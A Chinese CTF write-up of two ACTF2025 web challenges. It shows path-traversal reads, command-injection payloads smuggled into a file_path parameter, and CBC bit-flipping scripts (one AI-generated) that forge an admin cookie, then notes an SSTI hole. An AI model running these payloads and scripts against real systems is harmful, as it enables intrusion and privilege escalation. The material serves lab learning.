ACTF2025 web部分题解

发布于: 2025-04-27 22:31

0

upload

尝试admin、123456登录,失败,尝试admin',123456登录成功,奇怪

上传文件后,url是http://223.112.5.141:61869/upload?file_path=图片路径

惊喜,尝试发现存在文件读取、路径穿越漏洞,读取结果会以图片base64的形式返回

读取命令行运行命令,找到了源码文件名

# 读取命令行运行命令
http://223.112.5.141:61869/upload?file_path=../../../../proc/self/cmdline

读取源码

# 读取源码
http://223.112.5.141:61869/upload?file_path=../../../../app/app.py

1

源码

import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session

app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')

@app.route('/')
def index():
    if session.get('username'):
        return redirect(url_for('upload'))
    else:
        return redirect(url_for('login'))

@app.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username == 'admin':
            if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
                session['username'] = username
                return redirect(url_for('index'))
            else:
                flash('Invalid password')
        else:
            session['username'] = username
            return redirect(url_for('index'))
    else:
        return '''
        <h1>Login</h1>
        <h2>No need to register.</h2>
        <form action="/login" method="post">
            <label for="username">Username:</label>
            <input type="text" id="username" name="username" required>
            <br>
            <label for="password">Password:</label>
            <input type="password" id="password" name="password" required>
            <br>
            <input type="submit" value="Login">
        </form>
        '''

@app.route('/upload', methods=['POST', 'GET'])
def upload():
    if not session.get('username'):
        return redirect(url_for('login'))

    if request.method == 'POST':
        f = request.files['file']
        file_path = str(uuid.uuid4()) + '_' + f.filename
        f.save('./uploads/' + file_path)
        return redirect(f'/upload?file_path={file_path}')

    else:
        if not request.args.get('file_path'):
            return '''
            <h1>Upload Image</h1>

            <form action="/upload" method="post" enctype="multipart/form-data">
                <input type="file" name="file">
                <input type="submit" value="Upload">
            </form>
            '''

        else:
            file_path = './uploads/' + request.args.get('file_path')
            if session.get('username') != 'admin':
                with open(file_path, 'rb') as f:
                    content = f.read()
                    b64 = base64.b64encode(content)
                    return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
            else:
                os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
                # with open(f'/tmp/{file_path}.b64', 'r') as f:
                #     return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
                return 'Sorry, but you are not allowed to view this image.'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

分析源码,关键部分

admin登录

if username == 'admin':
            if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
                session['username'] = username

密码的sha256值是32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0,彩虹表查询一下,密码是backdoor

2

上传策略

 else:
            file_path = './uploads/' + request.args.get('file_path')
            if session.get('username') != 'admin':
                with open(file_path, 'rb') as f:
                    content = f.read()
                    b64 = base64.b64encode(content)
                    return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
            else:
                os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
                # with open(f'/tmp/{file_path}.b64', 'r') as f:
                #     return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
                return 'Sorry, but you are not allowed to view this image.'

这里普通用户上传后会返回base64编码的图片,admin用户上传后会执行os.system(f'base64 {file_path} > /tmp/{file_path}.b64'),直接把file_path拼接进去,没有过滤,看起来存在命令注入漏洞

构造命令

111;whoami;#

迷糊了,这个admin是不管执行什么命令都返回Sorry, but you are not allowed to view this image.,验证存在漏洞可以尝试dnslog外带,发现好像不出网

那就用admin用户命令注入,把执行结果写入到/tmp目录下,使用普通用户读取,完美

111;whoami > /tmp/1.txt;#

成功执行命令

3

查看flag,flag在根目录下的Fl4g_is_H3r3文件中

1111;ls / > /tmp/1.txt;cat /* >> /tmp/1.txt;%23

4

not so web 1

注册用户1/1,登录后,返回了一大坨编码

抱着试一试的心态尝试b64解码,竟然真是b64..

源码

import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
    Flask,
    render_template,
    render_template_string,
    request,
    redirect,
    url_for,
    flash,
    session,
)

app = Flask(__name__)
app.secret_key = KEY


@dataclass(kw_only=True)
class APPUser:
    name: str
    password_raw: str
    register_time: int


#  In-memory store for user registration
users: Dict[str, APPUser] = {
    "admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie: str) -> bool:
    if not cookie:
        return False

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        return False

    if len(cookie_encrypted) < 32:
        return False

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        cookie_json = cipher.decrypt(padded)
    except ValueError:
        return False

    try:
        _ = json.loads(cookie_json)
    except Exception:
        return False

    return True


def parse_cookie(cookie: str) -> Tuple[bool, str]:
    if not cookie:
        return False, ""

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        return False, ""

    if len(cookie_encrypted) < 32:
        return False, ""

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        decrypted = cipher.decrypt(padded)
        cookie_json_bytes = unpad(decrypted, 16)
        cookie_json = cookie_json_bytes.decode()
    except ValueError:
        return False, ""

    try:
        cookie_dict = json.loads(cookie_json)
    except Exception:
        return False, ""

    return True, cookie_dict.get("name")


def generate_cookie(user: APPUser) -> str:
    cookie_dict = asdict(user)
    cookie_json = json.dumps(cookie_dict)
    cookie_json_bytes = cookie_json.encode()
    iv = os.urandom(16)
    padded = pad(cookie_json_bytes, 16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(padded)
    return base64.b64encode(iv + encrypted).decode()


@app.route("/")
def index():
    if validate_cookie(request.cookies.get("jwbcookie")):
        return redirect(url_for("home"))
    return redirect(url_for("login"))


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        user_name = request.form["username"]
        password = request.form["password"]
        if user_name in users:
            flash("Username already exists!", "danger")
        else:
            users[user_name] = APPUser(
                name=user_name, password_raw=password, register_time=int(time.time())
            )
            flash("Registration successful! Please login.", "success")
            return redirect(url_for("login"))
    return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        if username in users and users[username].password_raw == password:
            resp = redirect(url_for("home"))
            resp.set_cookie("jwbcookie", generate_cookie(users[username]))
            return resp
        else:
            flash("Invalid credentials. Please try again.", "danger")
    return render_template("login.html")


@app.route("/home")
def home():
    valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
    if not valid or not current_username:
        return redirect(url_for("logout"))

    user_profile = users.get(current_username)
    if not user_profile:
        return redirect(url_for("logout"))

    if current_username == "admin":
        payload = request.args.get("payload")
        html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">Welcome, %s !</h2>
        <div class="text-center">
            Your payload: %s
        </div>
        <img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
""" % (
            current_username,
            payload,
        )
    else:
        html_template = (
            """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">server code (encoded)</h2>
        <div class="text-center" style="word-break:break-all;">
        {%% raw %%}
            %s
        {%% endraw %%}
        </div>
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
"""
            % base64.b64encode(open(__file__, "rb").read()).decode()
        )
    return render_template_string(html_template)


@app.route("/logout")
def logout():
    resp = redirect(url_for("login"))
    resp.delete_cookie("jwbcookie")
    return resp


if __name__ == "__main__":
    app.run()

只会一点web,通过ai长时间交流,知道这里是CBC bit flipping Attack翻转攻击

题目不存在文件读取等漏洞,KEY不可知,注册过程没有使用KEY,不能通过flask-unsign爆破KEY,所以只能通过CBC bit flipping Attack来伪造身份

源码关键点:

def generate_cookie(user: APPUser) -> str:
    cookie_dict = asdict(user)
    cookie_json = json.dumps(cookie_dict)
    cookie_json_bytes = cookie_json.encode()
    iv = os.urandom(16)
    padded = pad(cookie_json_bytes, 16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(padded)
    return base64.b64encode(iv + encrypted).decode()

生成cookie的函数,使用AES加密,16位的iv,16位的key,16位的padding,最后返回base64编码的iv+encrypted

太难辣!!

拿到本地,自定义key,测试一下cbc伪造身份是否可行

注册一个用户bdmin,密码1,登录,拿到cookie,使用CBC位翻转攻击,伪造一个admin的cookie

app.py

import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad, unpad
from flask import (
    Flask,
    render_template,
    render_template_string,
    request,
    redirect,
    url_for,
    flash,
    session,
)

app = Flask(__name__)
app.secret_key = KEY


@dataclass(kw_only=True)
class APPUser:
    name: str
    password_raw: str
    register_time: int


#  In-memory store for user registration
users: Dict[str, APPUser] = {
    "admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie: str) -> bool:
    if not cookie:
        return False

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        return False

    if len(cookie_encrypted) < 32:
        return False

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        cookie_json = cipher.decrypt(padded)
    except ValueError:
        return False

    try:
        _ = json.loads(cookie_json)
    except Exception:
        return False

    return True


def debug_cookie(cookie: str):
    try:
        # 移除特殊字符并补全Base64长度
        cookie = cookie.replace('/', '').replace('_', '').replace('-', '')
        # 计算需要补充的'='数量
        pad_len = 4 - (len(cookie) % 4)
        cookie += '=' * pad_len if pad_len != 4 else ''

        decoded = base64.b64decode(cookie)
        iv = decoded[:16]
        ciphertext = decoded[16:]

        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        decrypted = unpad(cipher.decrypt(ciphertext), 16)
        print(f"[解密成功]\nIV: {iv.hex()}\n明文: {decrypted.decode()}")
        return True
    except Exception as e:
        print(f"[解密失败] 错误类型: {type(e).__name__}\n详细信息: {str(e)}")
        return False
def parse_cookie(cookie: str) -> Tuple[bool, str]:
    debug_cookie(request.cookies.get("jwbcookie"))
    if not cookie:
        return False, ""

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        return False, ""

    if len(cookie_encrypted) < 32:
        return False, ""

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        decrypted = cipher.decrypt(padded)
        cookie_json_bytes = unpad(decrypted, 16)
        cookie_json = cookie_json_bytes.decode()
    except ValueError:
        return False, ""

    try:
        cookie_dict = json.loads(cookie_json)
    except Exception:
        return False, ""

    return True, cookie_dict.get("name")


def generate_cookie(user: APPUser) -> str:
    cookie_dict = asdict(user)
    cookie_json = json.dumps(cookie_dict)
    cookie_json_bytes = cookie_json.encode()
    iv = os.urandom(16)
    padded = pad(cookie_json_bytes, 16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(padded)
    return base64.b64encode(iv + encrypted).decode()


@app.route("/")
def index():
    if validate_cookie(request.cookies.get("jwbcookie")):
        return redirect(url_for("home"))
    return redirect(url_for("login"))


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        user_name = request.form["username"]
        password = request.form["password"]
        if user_name in users:
            flash("Username already exists!", "danger")
        else:
            users[user_name] = APPUser(
                name=user_name, password_raw=password, register_time=int(time.time())
            )
            flash("Registration successful! Please login.", "success")
            return redirect(url_for("login"))
    return render_template("register.html")

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        if username in users and users[username].password_raw == password:
            resp = redirect(url_for("home"))
            resp.set_cookie("jwbcookie", generate_cookie(users[username]))
            return resp
        else:
            flash("Invalid credentials. Please try again.", "danger")
    return render_template("login.html")

@app.route("/home")
def home():
    valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
    if not valid or not current_username:
        return redirect(url_for("logout"))

    user_profile = users.get(current_username)
    if not user_profile:
        return redirect(url_for("logout"))

    if current_username == "admin":
        payload = request.args.get("payload", "")
        return render_template("home.html",
                           current_username=current_username,
                           payload=payload)
    else:
        server_code = base64.b64encode(open(__file__, "rb").read()).decode()
        return render_template("home.html",
                           current_username=current_username,
                           server_code=server_code)

@app.route("/logout")
def logout():
    resp = redirect(url_for("login"))
    resp.delete_cookie("jwbcookie")
    return resp


if __name__ == "__main__":
    app.run()

secret.py

# 修改后的 secret.py(本地测试用)
KEY = b"0123456789123456"  # 已知的测试密钥
ADMIN_PASSWORD = "admin_pass_123"  # 已知管理员密码

templates/home.html

{% extends "base.html" %}

{% block title %}Home{% endblock %}

{% block content %}
<div class="row justify-content-center">
    <div class="col-md-8">
        <div class="card">
            <div class="card-header">
                <h4 class="mb-0">Welcome, {{ current_username }}!</h4>
            </div>
            <div class="card-body">
                {% if current_username == "admin" %}
                    <div class="mb-4">
                        <h5>Admin Panel</h5>
                        <div class="alert alert-info">
                            Your payload: {{ payload }}
                        </div>
                    </div>
                    <img src="{{ url_for('static', filename='interesting.jpeg') }}" class="img-fluid rounded mb-4" alt="Admin Image">
                {% else %}
                    <div class="mb-4">
                        <h5>Server Information</h5>
                        <div class="alert alert-secondary">
                            <pre style="white-space: pre-wrap; word-break: break-all;">{{ server_code }}</pre>
                        </div>
                    </div>
                {% endif %}
                <a href="/logout" class="btn btn-danger">Logout</a>
            </div>
        </div>
    </div>
</div>
{% endblock %}

templates/base.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>{% block title %}Secure App{% endblock %}</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <nav class="navbar navbar-expand-lg navbar-dark bg-dark">
        <div class="container">
            <a class="navbar-brand" href="/">Secure App</a>
            <div class="navbar-nav">
                {% if session.get('logged_in') %}
                    <a class="nav-link" href="/logout">Logout</a>
                {% else %}
                    <a class="nav-link" href="/login">Login</a>
                    <a class="nav-link" href="/register">Register</a>
                {% endif %}
            </div>
        </div>
    </nav>

    <div class="container mt-4">
        {% with messages = get_flashed_messages(with_categories=true) %}
            {% if messages %}
                {% for category, message in messages %}
                    <div class="alert alert-{{ category }} alert-dismissible fade show">
                        {{ message }}
                        <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
                    </div>
                {% endfor %}
            {% endif %}
        {% endwith %}

        {% block content %}{% endblock %}
    </div>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

templates/register.html

{% extends "base.html" %}

{% block title %}Register{% endblock %}

{% block content %}
<div class="row justify-content-center">
    <div class="col-md-6">
        <div class="card">
            <div class="card-header">
                <h4 class="mb-0">Register</h4>
            </div>
            <div class="card-body">
                <form method="POST" action="/register">
                    <div class="mb-3">
                        <label for="username" class="form-label">Username</label>
                        <input type="text" class="form-control" id="username" name="username" required>
                    </div>
                    <div class="mb-3">
                        <label for="password" class="form-label">Password</label>
                        <input type="password" class="form-control" id="password" name="password" required>
                    </div>
                    <button type="submit" class="btn btn-primary">Register</button>
                </form>
            </div>
            <div class="card-footer text-center">
                Already have an account? <a href="/login">Login here</a>
            </div>
        </div>
    </div>
</div>
{% endblock %}

templates/login.html

{% extends "base.html" %}

{% block title %}Login{% endblock %}

{% block content %}
<div class="row justify-content-center">
    <div class="col-md-6">
        <div class="card">
            <div class="card-header">
                <h4 class="mb-0">Login</h4>
            </div>
            <div class="card-body">
                <form method="POST" action="/login">
                    <div class="mb-3">
                        <label for="username" class="form-label">Username</label>
                        <input type="text" class="form-control" id="username" name="username" required>
                    </div>
                    <div class="mb-3">
                        <label for="password" class="form-label">Password</label>
                        <input type="password" class="form-control" id="password" name="password" required>
                    </div>
                    <button type="submit" class="btn btn-primary">Login</button>
                </form>
            </div>
            <div class="card-footer text-center">
                Don't have an account? <a href="/register">Register here</a>
            </div>
        </div>
    </div>
</div>
{% endblock %}

static/styles.css

body {
    background-color: #f8f9fa;
}

.card {
    border-radius: 10px;
    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.card-header {
    background-color: #343a40;
    color: white;
    border-radius: 10px 10px 0 0 !important;
}

.form-control:focus {
    border-color: #6c757d;
    box-shadow: 0 0 0 0.25rem rgba(108, 117, 125, 0.25);
}

.btn-primary {
    background-color: #343a40;
    border-color: #343a40;
}

.btn-primary:hover {
    background-color: #23272b;
    border-color: #23272b;
}

翻转攻击脚本

import base64
from secret import KEY
from urllib.parse import unquote
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad, unpad
import re
import json


def debug_cookie_advanced(cookie: str):
    try:
        cookie = unquote(cookie)
        print(f"URL解码后: {cookie}")

        cookie = re.sub(r"[^a-zA-Z0-9+/=]", "", cookie)
        print(f"过滤后: {cookie}")

        pad_len = (4 - len(cookie) % 4) % 4
        cookie += "=" * pad_len
        print(f"补全后: {cookie} (长度: {len(cookie)})")

        decoded = base64.b64decode(cookie)
        print(f"解码字节长度: {len(decoded)}")

        iv = decoded[:16]
        ciphertext = decoded[16:]
        print(f"IV: {iv.hex()}")
        print(f"密文长度: {len(ciphertext)}")

        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        decrypted = unpad(cipher.decrypt(ciphertext), 16)
        print(f"解密成功:\n{decrypted.decode()}")
        return decrypted.decode()

    except Exception as e:
        print(f"[严重错误] {type(e).__name__}: {str(e)}")
        return None


def cbc_bitflip_attack_for_bdmin(original_cookie: str):
    """
    CBC位翻转,将bdmin改成admin
    """
    try:
        # 1. 解码原始Cookie
        cookie = unquote(original_cookie)
        cookie = re.sub(r"[^a-zA-Z0-9+/=]", "", cookie)
        pad_len = (4 - len(cookie) % 4) % 4
        cookie += "=" * pad_len
        decoded = base64.b64decode(cookie)
        iv = bytearray(decoded[:16])
        ciphertext = decoded[16:]

        # 2. 解密获取原始明文
        cipher = AES.new(KEY, AES.MODE_CBC, bytes(iv))
        decrypted = unpad(cipher.decrypt(ciphertext), 16)
        plaintext = decrypted.decode()
        print(f"原始明文: {plaintext}")

        # 3. 找到 "bdmin" 出现的位置
        target_old = "bdmin"
        target_new = "admin"

        pos = plaintext.find(target_old)
        if pos == -1:
            raise ValueError("明文中未找到 bdmin")

        print(f"找到bdmin的位置: {pos}")

        # 4. 修改对应的IV或前一块密文
        new_iv = bytearray(iv)
        for i in range(len(target_old)):
            old_byte = ord(target_old[i])
            new_byte = ord(target_new[i])
            flip = old_byte ^ new_byte
            print(f"修改位置 {pos+i}: '{target_old[i]}' -> '{target_new[i]}', 需要异或 {flip:02x}")

            # 判断是修改IV还是前一个密文块
            if pos + i < 16:
                # 在第一个block,修改IV
                new_iv[pos + i] ^= flip
            else:
                # 超过第一个block的情况,可以扩展处理
                raise ValueError("用户名位置超出IV修改范围,这里只处理第一个block内的情况")

        # 5. 重新组合cookie
        forged_cookie = base64.b64encode(new_iv + ciphertext).decode()
        print(f"伪造后的Cookie: {forged_cookie}")

        # 6. 验证结果
        test_decrypted = debug_cookie_advanced(forged_cookie)
        if test_decrypted and target_new in test_decrypted:
            print("[+] CBC位翻转成功!")
            return forged_cookie
        else:
            print("[-] 伪造失败,检查逻辑")
            return None

    except Exception as e:
        print(f"[!] 攻击过程中发生错误: {str(e)}")
        return None


# 测试
test_cookie = "XG4URR04ObV+DopSXbEzgKvIDEplNJwSnlgyeLueWA2/RomaRzPAp9UN1k6un//Leuo934UrvNPxRcFJrLIAwAexCIzJ0CdlYDz1JbTf5ZSiScTo5TjEkL15ZmXYiy15"

print("=== 原始Cookie分析 ===")
debug_cookie_advanced(test_cookie)

print("\n=== 开始CBC位翻转攻击 ===")
forged_cookie = cbc_bitflip_attack_for_bdmin(test_cookie)

if forged_cookie:
    print("\n=== 攻击成功 ===")
    print(f"伪造的管理员Cookie: {forged_cookie}")
else:
    print("\n=== 攻击失败 ===")

尝试本地翻转攻击,看起来确实可行

5

让AI生成一份,不需要使用KEY验证的脚本,只需要使用CBC位翻转攻击即可

import base64
import re
from urllib.parse import unquote


def cbc_bitflip_attack_without_key(original_cookie: str, target_old: str = "bdmin", target_new: str = "admin"):
    """
    无需KEY的CBC位翻转攻击
    原理:通过修改前一个密文块来影响下一个块的解密结果
    """
    try:
        # 1. 预处理Cookie
        cookie = unquote(original_cookie)
        cookie = re.sub(r"[^a-zA-Z0-9+/=]", "", cookie)
        pad_len = (4 - len(cookie) % 4) % 4
        cookie += "=" * pad_len
        decoded = base64.b64decode(cookie)

        # 2. 分割数据块
        iv = bytearray(decoded[:16])
        ciphertext = bytearray(decoded[16:])
        blocks = [iv] + [ciphertext[i:i + 16] for i in range(0, len(ciphertext), 16)]

        # 3. 需要手动指定目标位置(根据经验或尝试)
        # 假设"bdmin"出现在第一个块,偏移量为10
        block_idx = 0  # 修改IV块(第一个块)
        offset_in_block = 10  # 需要根据实际情况调整

        # 4. 计算需要修改的字节
        modifications = []
        for i in range(min(len(target_old), len(target_new))):
            if i >= len(target_old) or i >= len(target_new):
                break

            if target_old[i] == target_new[i]:
                continue

            flip = ord(target_old[i]) ^ ord(target_new[i])
            blocks[block_idx][offset_in_block + i] ^= flip
            modifications.append(
                f"修改 block[{block_idx}][{offset_in_block + i}]: "
                f"{target_old[i]}→{target_new[i]} (异或 {flip:02x})"
            )

        if not modifications:
            print("[!] 无需修改 - 字符串已匹配")
            return original_cookie

        # 5. 生成伪造的Cookie
        forged_payload = b''.join(blocks)
        forged_cookie = base64.b64encode(forged_payload).decode()

        print("\n[攻击详情]")
        for mod in modifications:
            print(f"- {mod}")
        print(f"\n[+] 伪造的Cookie (无需KEY):\n{forged_cookie}")
        return forged_cookie

    except Exception as e:
        print(f"[!] 攻击失败: {type(e).__name__}: {str(e)}")
        return None


# 测试用例
if __name__ == "__main__":
    # 替换为你的实际Cookie
    test_cookie = "uP/CTaX6zXoTSPkygDAYzjltlpBRUBLIosVtwY/b3Vy+k89A3sazG8Dyu2iDeJQvaT5aXhi7Yx+8qOfUtcnacv3o07rt0Wx5bWBOdYb7joqBE6kYwAhACQR76+Cm4rwu"

    print("=== CBC位翻转攻击(无需KEY)===")
    forged = cbc_bitflip_attack_without_key(
        test_cookie,
        target_old="bdmin",
        target_new="admin"
    )

    if forged:
        print("\n[+] 请用此Cookie尝试访问管理员页面")
        print("注意:可能需要尝试不同的偏移量")
    else:
        print("\n[-] 攻击失败,请尝试调整偏移量")

攻击成功

6

在home路由下,使用了%s格式化字符串到渲染模板里,存在SSTI漏洞

return render_template_string(html_template)

梭哈

7